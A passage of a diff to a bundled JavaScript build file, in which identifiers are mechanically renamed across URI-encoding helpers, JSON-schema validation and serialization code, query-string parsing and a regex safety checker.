".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, 